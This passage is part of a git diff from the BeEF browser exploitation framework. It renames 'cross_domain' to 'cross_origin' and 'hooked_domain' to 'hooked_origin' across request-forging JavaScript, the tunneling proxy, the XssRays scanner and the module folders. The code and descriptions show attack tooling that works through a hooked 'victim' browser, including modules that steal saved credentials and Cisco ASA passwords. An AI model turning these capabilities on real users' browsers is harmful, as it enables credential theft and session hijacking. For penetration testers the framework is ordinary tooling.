                                                                                        * @return {Object} this object contains the response details */ request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { - //check if same domain or cross domain - var cross_domain = true; + //check if same origin or cross origin + var cross_origin = true; if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks if (document.location.port == "" || document.location.port == null) { - cross_domain = !(port == "80" || port == "443"); + cross_origin = !(port == "80" || port == "443"); } } @@ -266,12 +266,12 @@

                                                                                        Source: net.js

                                                                                        //define response object var response = new this.response; - response.was_cross_domain = cross_domain; + response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': - * This will turn POSTs into GETs for remote-domain requests. + * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ @@ -338,7 +338,7 @@

                                                                                        Source: net.js

                                                                                        /** * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests: * - requestid: needed on the callback - * - allowCrossDomain: set cross-domain requests as allowed or blocked + * - allowCrossOrigin: set cross-origin requests as allowed or blocked * * forge_request is used mainly by the Requester and Tunneling Proxy Extensions. * Example usage: @@ -346,20 +346,20 @@

                                                                                        Source: net.js

                                                                                        * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { * alert(response.response_body)}) */ - forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { + forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) { if (domain == "undefined" || path == "undefined") { beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified."); return; } - // check if same domain or cross domain - var cross_domain = true; + // check if same origin or cross origin + var cross_origin = true; if (document.domain == domain && document.location.protocol == scheme + ':') { if (document.location.port == "" || document.location.port == null) { - cross_domain = !(port == "80" || port == "443"); + cross_origin = !(port == "80" || port == "443"); } else { - if (document.location.port == port) cross_domain = false; + if (document.location.port == port) cross_origin = false; } } @@ -376,23 +376,23 @@

                                                                                        Source: net.js

                                                                                        // define response object var response = new this.response; - response.was_cross_domain = cross_domain; + response.was_cross_origin = cross_origin; var start_time = new Date().getTime(); - // if cross-domain requests are not allowed and the request is cross-domain + // if cross-origin requests are not allowed and the request is cross-origin // don't proceed and return - if (allowCrossDomain == "false" && cross_domain) { + if (allowCrossOrigin == "false" && cross_origin) { beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent."); response.status_code = -1; - response.status_text = "crossdomain"; - response.port_status = "crossdomain"; + response.status_text = "crossorigin"; + response.port_status = "crossorigin"; response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n"; response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; if (callback != null) callback(response, requestid); return response; } - // if the request was cross-domain from a HTTPS origin to HTTP + // if the request was cross-origin from a HTTPS origin to HTTP // don't proceed and return if (document.location.protocol == 'https:' && scheme == 'http') { beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent."); @@ -407,7 +407,7 @@

                                                                                        Source: net.js

                                                                                        /* * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': - * This will turn POSTs into GETs for remote-domain requests. + * This will turn POSTs into GETs for cross origin requests. */ if (method == "POST") { $j.ajaxSetup({ @@ -460,10 +460,10 @@

                                                                                        Source: net.js

                                                                                        }, complete: function (xhr, textStatus) { - // cross-domain request - if (cross_domain) { + // cross-origin request + if (cross_origin) { - response.port_status = "crossdomain"; + response.port_status = "crossorigin"; if (xhr.status != 0) { response.status_code = xhr.status; @@ -474,7 +474,7 @@

                                                                                        Source: net.js

                                                                                        if (textStatus) { response.status_text = textStatus; } else { - response.status_text = "crossdomain"; + response.status_text = "crossorigin"; } if (xhr.getAllResponseHeaders()) { @@ -488,7 +488,7 @@

                                                                                        Source: net.js

                                                                                        } } else { - // same-domain request + // same-origin request response.status_code = xhr.status; response.status_text = textStatus; response.headers = xhr.getAllResponseHeaders(); @@ -606,7 +606,7 @@

                                                                                        Home

                                                                                        Namespaces

                                                                                        • diff --git a/docs/net_connection.js.html b/docs/net_connection.js.html index 4043f48815..90178a77b3 100644 --- a/docs/net_connection.js.html +++ b/docs/net_connection.js.html @@ -92,7 +92,7 @@

                                                                                          Home

                                                                                          Namespaces

                                                                                          • diff --git a/docs/net_cors.js.html b/docs/net_cors.js.html index 6dd96a8b08..e3ff3d309c 100644 --- a/docs/net_cors.js.html +++ b/docs/net_cors.js.html @@ -125,7 +125,7 @@

                                                                                            Home

                                                                                            Namespaces

                                                                                            • diff --git a/docs/net_dns.js.html b/docs/net_dns.js.html index bcef8f36ff..b76c490542 100644 --- a/docs/net_dns.js.html +++ b/docs/net_dns.js.html @@ -139,7 +139,7 @@

                                                                                              Home

                                                                                              Namespaces

                                                                                              • diff --git a/docs/net_local.js.html b/docs/net_local.js.html index 8b31209a97..ebc8cb793f 100644 --- a/docs/net_local.js.html +++ b/docs/net_local.js.html @@ -129,7 +129,7 @@

                                                                                                Home

                                                                                                Namespaces

                                                                                                • diff --git a/docs/net_portscanner.js.html b/docs/net_portscanner.js.html index d0d8d6b786..f3a79c055f 100644 --- a/docs/net_portscanner.js.html +++ b/docs/net_portscanner.js.html @@ -108,7 +108,7 @@

                                                                                                  Home

                                                                                                  Namespaces

                                                                                                  • diff --git a/docs/net_requester.js.html b/docs/net_requester.js.html index 02c81a3a52..bf1e7fc28d 100644 --- a/docs/net_requester.js.html +++ b/docs/net_requester.js.html @@ -53,7 +53,7 @@

                                                                                                    Source: net/requester.js

                                                                                                    request = requests_array[i]; if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http'; beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data); - beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id, + beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id, function(res, requestid) { beef.net.send('/requester', requestid, { response_data: res.response_body, response_status_code: res.status_code, @@ -83,7 +83,7 @@

                                                                                                    Home

                                                                                                    Namespaces

                                                                                                    • diff --git a/docs/net_xssrays.js.html b/docs/net_xssrays.js.html index 1ecd3f0a3d..3ca54ff5cb 100644 --- a/docs/net_xssrays.js.html +++ b/docs/net_xssrays.js.html @@ -199,7 +199,7 @@

                                                                                                      Source: net/xssrays.js

                                                                                                      this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol, search:url.search, type: 'url'});//scan each link & param } else { - beef.debug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString()); + beef.debug('Scan is not Cross-origin. URLS\nurl :' + url.hostname.toString()); beef.debug('\nlocation :' + location.hostname.toString()); } } @@ -279,7 +279,7 @@

                                                                                                      Source: net/xssrays.js

                                                                                                      continue; } if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) { - beef.debug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString()); + beef.debug('Scan is not Cross-origin. FormPost\naction :' + this.host(action).toString()); beef.debug('location :' + this.host(location)); continue; } @@ -541,7 +541,7 @@

                                                                                                      Home

                                                                                                      Namespaces

                                                                                                      • diff --git a/docs/os.js.html b/docs/os.js.html index 6060793a3e..861cfa1ef4 100644 --- a/docs/os.js.html +++ b/docs/os.js.html @@ -403,7 +403,7 @@

                                                                                                        Home

                                                                                                        Namespaces

                                                                                                        • diff --git a/docs/session.js.html b/docs/session.js.html index 09aeaa0031..aa3a5909bf 100644 --- a/docs/session.js.html +++ b/docs/session.js.html @@ -116,7 +116,7 @@

                                                                                                          Home

                                                                                                          Namespaces

                                                                                                          • diff --git a/docs/timeout.js.html b/docs/timeout.js.html index c61d382db9..1121421d49 100644 --- a/docs/timeout.js.html +++ b/docs/timeout.js.html @@ -65,7 +65,7 @@

                                                                                                            Home

                                                                                                            Namespaces

                                                                                                            • diff --git a/docs/updater.js.html b/docs/updater.js.html index 8b8bf79da4..bcef99c656 100644 --- a/docs/updater.js.html +++ b/docs/updater.js.html @@ -135,7 +135,7 @@

                                                                                                              Home

                                                                                                              Namespaces

                                                                                                              • diff --git a/docs/webrtc.js.html b/docs/webrtc.js.html index dbbd29def6..a8c6ec6690 100644 --- a/docs/webrtc.js.html +++ b/docs/webrtc.js.html @@ -758,7 +758,7 @@

                                                                                                                Home

                                                                                                                Namespaces

                                                                                                                • diff --git a/docs/websocket.js.html b/docs/websocket.js.html index 0313b06b6b..cd6a570b74 100644 --- a/docs/websocket.js.html +++ b/docs/websocket.js.html @@ -142,7 +142,7 @@

                                                                                                                  Home

                                                                                                                  Namespaces

                                                                                                                  • diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js index bdfb55cf19..51a2959993 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js @@ -187,7 +187,7 @@ ZombieDataGrid = function(url, page, base) { end if (BeEF::Core::Configuration.instance.get("beef.extension.xssrays.enable")) context_menu << { - id: 'zombie_grid_xssrays_hooked_domain', + id: 'zombie_grid_xssrays_hooked_origin', text: 'Launch XssRays on Hooked Domain', iconCls: 'zombie-tree-ctxMenu-xssrays' } @@ -230,7 +230,7 @@ ZombieDataGrid = function(url, page, base) { jsonData: {'hb_id': escape(hb_id)} }); break; - case 'zombie_grid_xssrays_hooked_domain': + case 'zombie_grid_xssrays_hooked_origin': Ext.Ajax.request({ url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(), method: 'POST' diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js index f07ff5a3a1..31882aa79e 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js @@ -106,9 +106,9 @@ ZombieTab_XssRaysTab = function(zombie) { padding: '10px 5px 0 5px' },{ xtype:'checkbox', - id:'cross_domain', - fieldLabel: 'Cross-domain (check for XSS on cross-domain resources)', - name: 'cross_domain', + id:'cross_origin', + fieldLabel: 'Cross-origin (check for XSS on cross-origin resources)', + name: 'cross_origin', checked: true }], @@ -120,7 +120,7 @@ ZombieTab_XssRaysTab = function(zombie) { bar.update_sending('Starting XssRays on ' + zombie.ip + ' ...'); form.submit({ params: { - cross_domain: document.getElementById('cross_domain').checked + cross_origin: document.getElementById('cross_origin').checked }, success: function() { bar.update_sent("Scan settings saved for hooked browser [" + zombie.ip + "]. XssRays will be added to victim DOM on next polling."); diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index bbdf1e0f8b..e40e144f5f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -79,7 +79,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { end if (BeEF::Core::Configuration.instance.get("beef.extension.xssrays.enable")) context_menu << { - id: 'xssrays_hooked_domain', + id: 'xssrays_hooked_origin', text: 'Launch XssRays on Hooked Domain', iconCls: 'zombie-tree-ctxMenu-xssrays' } @@ -121,7 +121,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { jsonData: {'hb_id': escape(hb_id)} }); break; - case 'xssrays_hooked_domain': + case 'xssrays_hooked_origin': Ext.Ajax.request({ url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(), method: 'POST' diff --git a/extensions/proxy/extension.rb b/extensions/proxy/extension.rb index 2f20ff7de4..f9ce522e02 100644 --- a/extensions/proxy/extension.rb +++ b/extensions/proxy/extension.rb @@ -10,7 +10,7 @@ module Proxy @short_name = 'proxy' @full_name = 'proxy' - @description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser' + @description = 'The tunneling proxy allows HTTP requests to the hooked origin to be tunneled through the victim browser' end end end diff --git a/extensions/proxy/proxy.rb b/extensions/proxy/proxy.rb index 52bcedaebe..3da8cadc9d 100644 --- a/extensions/proxy/proxy.rb +++ b/extensions/proxy/proxy.rb @@ -125,7 +125,7 @@ def handle_request(socket) path: uri_path_and_qs, request_date: Time.now, hooked_browser_id: get_tunneling_proxy, - allow_cross_domain: 'true' + allow_cross_origin: 'true' ) http.save print_debug( @@ -133,7 +133,7 @@ def handle_request(socket) "domain[#{http.domain}:#{http.port}], " \ "method[#{http.method}], " \ "path[#{http.path}], " \ - "cross domain[#{http.allow_cross_domain}]" + "cross origin[#{http.allow_cross_origin}]" ) # Wait for the HTTP response to be stored in the db. diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 374ff18558..5e075097cb 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -81,7 +81,7 @@ def add_to_body(output) # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function # and finally sent to and executed by the hooked browser. def requester_parse_db_request(http_db_object) - allow_cross_domain = http_db_object.allow_cross_domain.to_s + allow_cross_origin = http_db_object.allow_cross_origin.to_s verb = http_db_object.method.upcase proto = http_db_object.proto.downcase uri = http_db_object.request.split(/\s+/)[1] @@ -137,7 +137,7 @@ def requester_parse_db_request(http_db_object) 'port' => @port, 'uri' => uri, 'headers' => headers, - 'allowCrossDomain' => allow_cross_domain + 'allowCrossOrigin' => allow_cross_origin } # Add POST request data diff --git a/extensions/requester/rest/requester.rb b/extensions/requester/rest/requester.rb index 1b37f2d8b9..746b8039b0 100644 --- a/extensions/requester/rest/requester.rb +++ b/extensions/requester/rest/requester.rb @@ -181,7 +181,7 @@ class RequesterRest < BeEF::Core::Router::Router port: host_port, path: uri, request_date: Time.now, - allow_cross_domain: 'true' + allow_cross_origin: 'true' ) print_debug "added new http request for #{zombie.session}" diff --git a/extensions/xssrays/api/scan.rb b/extensions/xssrays/api/scan.rb index fa727fbf49..d2a66f1d08 100644 --- a/extensions/xssrays/api/scan.rb +++ b/extensions/xssrays/api/scan.rb @@ -31,7 +31,7 @@ def start_scan(hb, body) # the URI of the XssRays handler where rays should come back if the vulnerability is verified beefurl = BeEF::Core::Server.instance.url - cross_domain = xs.cross_domain + cross_origin = xs.cross_origin timeout = xs.clean_timeout ws = BeEF::Core::Websocket::Websocket.instance @@ -47,7 +47,7 @@ def start_scan(hb, body) // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file \'doc/COPYING\' for copying permission //', '') - add_to_body xs.id, hb.session, beefurl, cross_domain, timeout + add_to_body xs.id, hb.session, beefurl, cross_origin, timeout if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @@ -58,18 +58,18 @@ def start_scan(hb, body) # If we use XHR-polling, add the component to the main hook file else build_missing_beefjs_components 'beef.net.xssrays' - add_to_body xs.id, hb.session, beefurl, cross_domain, timeout + add_to_body xs.id, hb.session, beefurl, cross_origin, timeout end - print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].") + print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross origin [#{cross_origin}], clean timeout [#{timeout}].") end - def add_to_body(id, session, beefurl, cross_domain, timeout) + def add_to_body(id, session, beefurl, cross_origin, timeout) config = BeEF::Core::Configuration.instance req = %{ beef.execute(function() { - beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}); + beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_origin}, #{timeout}); }); } diff --git a/extensions/xssrays/config.yaml b/extensions/xssrays/config.yaml index 50004205e4..e45766cb26 100644 --- a/extensions/xssrays/config.yaml +++ b/extensions/xssrays/config.yaml @@ -10,4 +10,4 @@ beef: name: 'XSSRays' authors: ["antisnatchor"] clean_timeout: 3000 - cross_domain: true + cross_origin: true diff --git a/extensions/xssrays/handler.rb b/extensions/xssrays/handler.rb index 77894d46a1..9208b35394 100644 --- a/extensions/xssrays/handler.rb +++ b/extensions/xssrays/handler.rb @@ -67,7 +67,7 @@ def parse_rays(rays_scan_id) ) xssrays_detail.save - print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}]") + print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip}], hooked origin [#{hooked_browser.domain}]") print_debug("[XSSRAYS] Ray info: \n #{request.query_string}") end diff --git a/extensions/xssrays/rest/xssrays.rb b/extensions/xssrays/rest/xssrays.rb index 9d3a0a66ee..45e96e0cb2 100644 --- a/extensions/xssrays/rest/xssrays.rb +++ b/extensions/xssrays/rest/xssrays.rb @@ -17,7 +17,7 @@ class XssraysRest < BeEF::Core::Router::Router halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000 - CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true + CROSS_ORIGIN = config.get('beef.extension.xssrays.cross_origin') || true HB = BeEF::Core::Models::HookedBrowser XS = BeEF::Core::Models::Xssraysscan @@ -118,12 +118,12 @@ class XssraysRest < BeEF::Core::Router::Router return end - # set Cross-domain settings - cross_domain = params[:cross_domain].to_s - cross_domain = if cross_domain == '' - CROSS_DOMAIN + # set Cross-origin settings + cross_origin = params[:cross_origin].to_s + cross_origin = if cross_origin == '' + CROSS_ORIGIN else - cross_domain != 'false' + cross_origin != 'false' end # set clean timeout settings @@ -134,8 +134,8 @@ class XssraysRest < BeEF::Core::Router::Router hooked_browser_id: hooked_browser.id, scan_start: Time.now, domain: hooked_browser.domain, - # check also cross-domain URIs found by the crawler - cross_domain: cross_domain, + # check also cross-origin URIs found by the crawler + cross_origin: cross_origin, # how long to wait before removing the iFrames from the DOM (5000ms default) clean_timeout: clean_timeout ) @@ -143,8 +143,8 @@ class XssraysRest < BeEF::Core::Router::Router print_info( "[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \ - "hooked domain [#{hooked_browser.domain}], " \ - "cross-domain: #{cross_domain}, " \ + "hooked origin [#{hooked_browser.domain}], " \ + "cross-origin: #{cross_origin}, " \ "clean timeout: #{clean_timeout}" ) @@ -181,7 +181,7 @@ def scan2hash(scan) scan_start: scan.scan_start, scan_finish: scan.scan_finish, domain: scan.domain, - cross_domain: scan.cross_domain, + cross_origin: scan.cross_origin, clean_timeout: scan.clean_timeout, is_started: scan.is_started, is_finished: scan.is_finished diff --git a/modules/browser/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_origin/ajax_fingerprint/command.js similarity index 100% rename from modules/browser/hooked_domain/ajax_fingerprint/command.js rename to modules/browser/hooked_origin/ajax_fingerprint/command.js diff --git a/modules/browser/hooked_domain/ajax_fingerprint/config.yaml b/modules/browser/hooked_origin/ajax_fingerprint/config.yaml similarity index 100% rename from modules/browser/hooked_domain/ajax_fingerprint/config.yaml rename to modules/browser/hooked_origin/ajax_fingerprint/config.yaml diff --git a/modules/browser/hooked_domain/ajax_fingerprint/module.rb b/modules/browser/hooked_origin/ajax_fingerprint/module.rb similarity index 100% rename from modules/browser/hooked_domain/ajax_fingerprint/module.rb rename to modules/browser/hooked_origin/ajax_fingerprint/module.rb diff --git a/modules/browser/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_origin/alert_dialog/command.js similarity index 100% rename from modules/browser/hooked_domain/alert_dialog/command.js rename to modules/browser/hooked_origin/alert_dialog/command.js diff --git a/modules/browser/hooked_domain/alert_dialog/config.yaml b/modules/browser/hooked_origin/alert_dialog/config.yaml similarity index 100% rename from modules/browser/hooked_domain/alert_dialog/config.yaml rename to modules/browser/hooked_origin/alert_dialog/config.yaml diff --git a/modules/browser/hooked_domain/alert_dialog/module.rb b/modules/browser/hooked_origin/alert_dialog/module.rb similarity index 100% rename from modules/browser/hooked_domain/alert_dialog/module.rb rename to modules/browser/hooked_origin/alert_dialog/module.rb diff --git a/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/command.js b/modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/command.js similarity index 100% rename from modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/command.js rename to modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/command.js diff --git a/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/config.yaml b/modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/config.yaml similarity index 100% rename from modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/config.yaml rename to modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/config.yaml diff --git a/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/module.rb b/modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/module.rb similarity index 100% rename from modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/module.rb rename to modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/module.rb diff --git a/modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js b/modules/browser/hooked_origin/cisco_asa_password_disclosure/command.js similarity index 100% rename from modules/browser/hooked_domain/cisco_asa_password_disclosure/command.js rename to modules/browser/hooked_origin/cisco_asa_password_disclosure/command.js diff --git a/modules/browser/hooked_domain/cisco_asa_password_disclosure/config.yaml b/modules/browser/hooked_origin/cisco_asa_password_disclosure/config.yaml similarity index 91% rename from modules/browser/hooked_domain/cisco_asa_password_disclosure/config.yaml rename to modules/browser/hooked_origin/cisco_asa_password_disclosure/config.yaml index 2394c36356..19db21ff36 100644 --- a/modules/browser/hooked_domain/cisco_asa_password_disclosure/config.yaml +++ b/modules/browser/hooked_origin/cisco_asa_password_disclosure/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: ["Browser", "Hooked Domain"] name: "Cisco ASA Plaintext Passwords" - description: "Recover Username, password, and second password (MFA) used for a Cisco ASA WebVPN session. The hooked domain needs to be the domain authenticated against." + description: "Recover Username, password, and second password (MFA) used for a Cisco ASA WebVPN session. The hooked origin needs to be the origin authenticated against." authors: ["catatonicprime"] target: working: ["All"] diff --git a/modules/browser/hooked_domain/cisco_asa_password_disclosure/module.rb b/modules/browser/hooked_origin/cisco_asa_password_disclosure/module.rb similarity index 100% rename from modules/browser/hooked_domain/cisco_asa_password_disclosure/module.rb rename to modules/browser/hooked_origin/cisco_asa_password_disclosure/module.rb diff --git a/modules/browser/hooked_domain/clear_console/command.js b/modules/browser/hooked_origin/clear_console/command.js similarity index 100% rename from modules/browser/hooked_domain/clear_console/command.js rename to modules/browser/hooked_origin/clear_console/command.js diff --git a/modules/browser/hooked_domain/clear_console/config.yaml b/modules/browser/hooked_origin/clear_console/config.yaml similarity index 100% rename from modules/browser/hooked_domain/clear_console/config.yaml rename to modules/browser/hooked_origin/clear_console/config.yaml diff --git a/modules/browser/hooked_domain/clear_console/module.rb b/modules/browser/hooked_origin/clear_console/module.rb similarity index 100% rename from modules/browser/hooked_domain/clear_console/module.rb rename to modules/browser/hooked_origin/clear_console/module.rb diff --git a/modules/browser/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_origin/deface_web_page/command.js similarity index 100% rename from modules/browser/hooked_domain/deface_web_page/command.js rename to modules/browser/hooked_origin/deface_web_page/command.js diff --git a/modules/browser/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_origin/deface_web_page/config.yaml similarity index 100% rename from modules/browser/hooked_domain/deface_web_page/config.yaml rename to modules/browser/hooked_origin/deface_web_page/config.yaml diff --git a/modules/browser/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_origin/deface_web_page/module.rb similarity index 100% rename from modules/browser/hooked_domain/deface_web_page/module.rb rename to modules/browser/hooked_origin/deface_web_page/module.rb diff --git a/modules/browser/hooked_domain/deface_web_page_component/command.js b/modules/browser/hooked_origin/deface_web_page_component/command.js similarity index 100% rename from modules/browser/hooked_domain/deface_web_page_component/command.js rename to modules/browser/hooked_origin/deface_web_page_component/command.js diff --git a/modules/browser/hooked_domain/deface_web_page_component/config.yaml b/modules/browser/hooked_origin/deface_web_page_component/config.yaml similarity index 100% rename from modules/browser/hooked_domain/deface_web_page_component/config.yaml rename to modules/browser/hooked_origin/deface_web_page_component/config.yaml diff --git a/modules/browser/hooked_domain/deface_web_page_component/module.rb b/modules/browser/hooked_origin/deface_web_page_component/module.rb similarity index 100% rename from modules/browser/hooked_domain/deface_web_page_component/module.rb rename to modules/browser/hooked_origin/deface_web_page_component/module.rb diff --git a/modules/browser/hooked_domain/disable_developer_tools/command.js b/modules/browser/hooked_origin/disable_developer_tools/command.js similarity index 100% rename from modules/browser/hooked_domain/disable_developer_tools/command.js rename to modules/browser/hooked_origin/disable_developer_tools/command.js diff --git a/modules/browser/hooked_domain/disable_developer_tools/config.yaml b/modules/browser/hooked_origin/disable_developer_tools/config.yaml similarity index 100% rename from modules/browser/hooked_domain/disable_developer_tools/config.yaml rename to modules/browser/hooked_origin/disable_developer_tools/config.yaml diff --git a/modules/browser/hooked_domain/disable_developer_tools/module.rb b/modules/browser/hooked_origin/disable_developer_tools/module.rb similarity index 100% rename from modules/browser/hooked_domain/disable_developer_tools/module.rb rename to modules/browser/hooked_origin/disable_developer_tools/module.rb diff --git a/modules/browser/hooked_domain/get_autocomplete_creds/command.js b/modules/browser/hooked_origin/get_autocomplete_creds/command.js similarity index 100% rename from modules/browser/hooked_domain/get_autocomplete_creds/command.js rename to modules/browser/hooked_origin/get_autocomplete_creds/command.js diff --git a/modules/browser/hooked_domain/get_autocomplete_creds/config.yaml b/modules/browser/hooked_origin/get_autocomplete_creds/config.yaml similarity index 90% rename from modules/browser/hooked_domain/get_autocomplete_creds/config.yaml rename to modules/browser/hooked_origin/get_autocomplete_creds/config.yaml index 1b531808d3..632f8cec8c 100644 --- a/modules/browser/hooked_domain/get_autocomplete_creds/config.yaml +++ b/modules/browser/hooked_origin/get_autocomplete_creds/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: ["Browser", "Hooked Domain"] name: "Get Autocomplete Credentials" - description: "This module steals saved credentials for the hooked domain.

                                                                                                                    Tested on Firefox 68 and Chrome 49.

                                                                                                                    Note: On Firefox, the window must have focus." + description: "This module steals saved credentials for the hooked origin.

                                                                                                                    Tested on Firefox 68 and Chrome 49.

                                                                                                                    Note: On Firefox, the window must have focus." authors: ["bcoles"] target: working: ["FF", "C"] diff --git a/modules/browser/hooked_domain/get_autocomplete_creds/module.rb b/modules/browser/hooked_origin/get_autocomplete_creds/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_autocomplete_creds/module.rb rename to modules/browser/hooked_origin/get_autocomplete_creds/module.rb diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_origin/get_cookie/command.js similarity index 100% rename from modules/browser/hooked_domain/get_cookie/command.js rename to modules/browser/hooked_origin/get_cookie/command.js diff --git a/modules/browser/hooked_domain/get_cookie/config.yaml b/modules/browser/hooked_origin/get_cookie/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_cookie/config.yaml rename to modules/browser/hooked_origin/get_cookie/config.yaml diff --git a/modules/browser/hooked_domain/get_cookie/module.rb b/modules/browser/hooked_origin/get_cookie/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_cookie/module.rb rename to modules/browser/hooked_origin/get_cookie/module.rb diff --git a/modules/browser/hooked_domain/get_form_values/command.js b/modules/browser/hooked_origin/get_form_values/command.js similarity index 100% rename from modules/browser/hooked_domain/get_form_values/command.js rename to modules/browser/hooked_origin/get_form_values/command.js diff --git a/modules/browser/hooked_domain/get_form_values/config.yaml b/modules/browser/hooked_origin/get_form_values/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_form_values/config.yaml rename to modules/browser/hooked_origin/get_form_values/config.yaml diff --git a/modules/browser/hooked_domain/get_form_values/module.rb b/modules/browser/hooked_origin/get_form_values/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_form_values/module.rb rename to modules/browser/hooked_origin/get_form_values/module.rb diff --git a/modules/browser/hooked_domain/get_local_storage/command.js b/modules/browser/hooked_origin/get_local_storage/command.js similarity index 100% rename from modules/browser/hooked_domain/get_local_storage/command.js rename to modules/browser/hooked_origin/get_local_storage/command.js diff --git a/modules/browser/hooked_domain/get_local_storage/config.yaml b/modules/browser/hooked_origin/get_local_storage/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_local_storage/config.yaml rename to modules/browser/hooked_origin/get_local_storage/config.yaml diff --git a/modules/browser/hooked_domain/get_local_storage/module.rb b/modules/browser/hooked_origin/get_local_storage/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_local_storage/module.rb rename to modules/browser/hooked_origin/get_local_storage/module.rb diff --git a/modules/browser/hooked_domain/get_page_html/command.js b/modules/browser/hooked_origin/get_page_html/command.js similarity index 100% rename from modules/browser/hooked_domain/get_page_html/command.js rename to modules/browser/hooked_origin/get_page_html/command.js diff --git a/modules/browser/hooked_domain/get_page_html/config.yaml b/modules/browser/hooked_origin/get_page_html/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_page_html/config.yaml rename to modules/browser/hooked_origin/get_page_html/config.yaml diff --git a/modules/browser/hooked_domain/get_page_html/module.rb b/modules/browser/hooked_origin/get_page_html/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_page_html/module.rb rename to 